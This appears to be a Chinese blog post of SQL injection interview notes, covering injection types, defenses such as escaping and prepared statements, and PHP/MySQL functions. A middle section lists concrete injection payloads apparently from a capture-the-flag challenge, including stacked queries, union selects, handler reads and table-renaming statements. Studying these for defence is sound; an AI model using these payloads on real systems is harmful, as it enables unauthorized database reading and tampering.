SQL面试题

一、WEB:

## 1-SQL注入原理

```shell
  # WEB应用程序对用户输入的数据
  # 没有过滤或者过滤的不严谨
  # 并且把用户输入的数据当作SQL 语句
  # 带入到数据中去执行
```

 

## 2-SQL注入分类

```shell
# 从反馈结果来分
  1-回显型
  2-无回显型/盲注
# 从攻击手法上来分
  1-联合查询注入 union select
  2-堆叠注入 ;
  3-报错注入 updatexml、floor、ExtractValue 其他的用的不多不用说
  4-盲注
    4.1-布尔盲注
    4.2-时间盲注

  5.整数型注入

  6.字符型注入

  7.MySQL结构

  8.Cookie注入

  9.过滤空格

  10.UA注入

  11.Refer注入

  12.宽字节注入



```

## 3-SQL注入防御

```shell
# 代码层防御
  1-对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
  2-限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。
  3-使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
# 网络层面
  部署防护墙和软硬WAF

 

 

堆叠注入:

1' ; show databases %23

1' ; select version() %23

1' ; show tables %23

1' ; show columns from 表 %23

 

 

 

 

?inject=1' or '1'='1

?inject=1' order by 3%23

?inject=1' union select 1,2%23

?inject=1';show tables%23

?inject=-1’;show columns from `1919810931114514` %23

handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
handler 别名 close;(将这个句柄实例关闭)

?inject=1';handler1919810931114514open as toert;handler toert read next%23

 

?id=1';rename table words to word;rename table1919810931114514to words;alter table words change flag id varchar(100);show tables;

 

?id=1' or '1'='1

 

updatexml:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

 

floor:floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个整数值)。

 

ExtractValue:

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

 

PHP中

addslashes():

1)addslashes()作用及使用

addslashes()通常用于防止sql注入,它可对通过get,post和cookie传递过来的参数的单引号和双引号已经null前加“\”进行转义

如:如变量$str=$_POST["str"];的值为:bb' or 1='1。通过addslashes()函数过滤后会变为:bb\' or 1=\'1;

 

2)htmlspecialchars()作用及使用

htmlspecialchars()也是对字符进行转义,与addslashes()不同的是htmlspecialchars()是将特殊字符用引用实体替换。

如<script>alert('xss')</script>通过htmlspecialchars()过滤后为&lt;script&gt;alert(&#039;xss&#039;)&lt;/script&gt

 

mysql_real_escape():

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

PHP中

preg_replace():

  • preg_replace()该函数接收三个参数
参数作用
pattern 正则表达式或者要匹配的内容
replacement 要替换的内容
subject 要操作的对象

 

函数正则替换关键字

<?php
$num = '4';
$string = "This string has four words.";
$string = preg_replace('/four/',$num, $string);
echo $string;                                                         #This string has 4 words.
?>

 #This string has 4 words.

 

 

 

addslasher函数实锤了,
那么要从中逃逸出去。
考虑到宽字节注入。

posted @ 2022-04-08 10:23  TinKode  阅读(96)  评论(0)    收藏  举报